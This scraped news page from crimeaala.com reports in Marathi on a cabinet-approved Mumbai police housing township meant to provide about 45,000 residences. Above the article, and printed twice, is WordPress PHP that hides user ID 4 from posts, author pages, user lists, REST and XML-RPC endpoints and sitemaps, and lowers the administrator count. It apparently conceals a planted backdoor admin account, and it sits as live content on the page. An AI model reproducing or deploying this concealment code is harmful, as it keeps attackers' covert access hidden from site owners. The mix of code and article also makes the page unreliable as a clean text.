add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
मुंबईत पोलीस अधिकारी, कर्मचाऱ्यांसाठी ४५ हजार शासकीय निवासस्थाने… - crimeaala.com
mumbai – मुंबई शहर व उपनगरातील पोलीस अधिकारी, कर्मचाऱ्यांसाठी सुमारे ४० ते ४५ हजार शासकीय निवासस्थाने उपलब्ध व्हावीत यादृष्टीने ‘मुंबई पोलीस हाऊसिंग टाऊनशिप प्रकल्प’ राबविण्यास झालेल्या मंत्रिमंडळ बैठकीत मंजुरी देण्यात आली. बैठकीच्या अध्यक्षस्थानी मुख्यमंत्री देवेंद्र फडणवीस होते. हा प्रकल्प सार्वजनिक बांधकाम विभागाची राज्य पायाभूत सुविधा महामंडळाच्या माध्यमातून उभारण्यात येणार आहे. या टाऊनशिप प्रकल्पाद्वारे सुमारे पाच कोटी चौरस फूट क्षेत्राचे विकसन करण्यात येणार असून, त्यासाठी सुमारे २० हजार कोटी रुपयांचा खर्च अपेक्षित आहे.
या टाऊनशिपसाठी लागणारा ३० टक्के निधी शासन देणार आहे. तर उर्वरित ७० टक्के निधी एमएसआयडीसी शासन हमीद्वारे विविध वित्तीय संस्थांकडून कर्ज स्वरुपात उभारणार आहे. या प्रकल्पाचा तांत्रिक व आर्थिक सुसाध्यता अहवाल तयार करण्यासाठी आणि प्रकल्प सुरु करण्याकरिता महामंडळास १०० कोटी रुपयांचा प्राथमिक निधी देण्यास आज मान्यता देण्यात आली.
मुंबईतील वाढत्या लोकसंख्येच्या व सुरक्षेची आवश्यकता लक्षात घेऊन, पोलीस दलातील अधिकारी, कर्मचाऱ्यांसाठी सुसज्ज व अद्ययावत वसाहती व निवासस्थानांची मोठी गरज आहे. यामुळे पोलीस दलातील अधिकारी, कर्मचारी अधिक तत्पर आणि कार्यक्षमरित्या कर्तव्य बजावू शकणार आहेत.
मुंबई पोलीस दलात ५१ हजार ३०८ इतके मनुष्यबळ आहे. पोलीस दलाकडे उपलब्ध सेवा निवासस्थाने ब्रिटीशकालीन जुन्या व जीर्ण इमारतींमध्ये आहेत. उपलब्ध २२ हजार ९०४ सेवा निवासस्थानांपैकी सुमारे ३ हजार ७७७ निवासस्थाने वापरासाठी अयोग्य आहेत. याशिवाय दरमहा सुमारे चारशे ते पाचशेहून अधिक अधिकारी-कर्मचारी निवासस्थानांसाठी अर्ज करतात. निवासस्थाने उपलब्ध नसल्याने मुंबई पोलीस दलातील अधिकारी-कर्मचाऱ्यांना दररोज प्रवास करून कामाच्या ठिकाणी यावे लागते. पोलीस कर्मचाऱ्यांच्या कामांचे स्वरूप पाहता, त्यांना कार्यालयाजवळ निवासस्थान असणे आवश्यक आहे. त्या दृष्टीकोनातून टाऊनशिप प्रकल्पाला मान्यता देण्यात आली.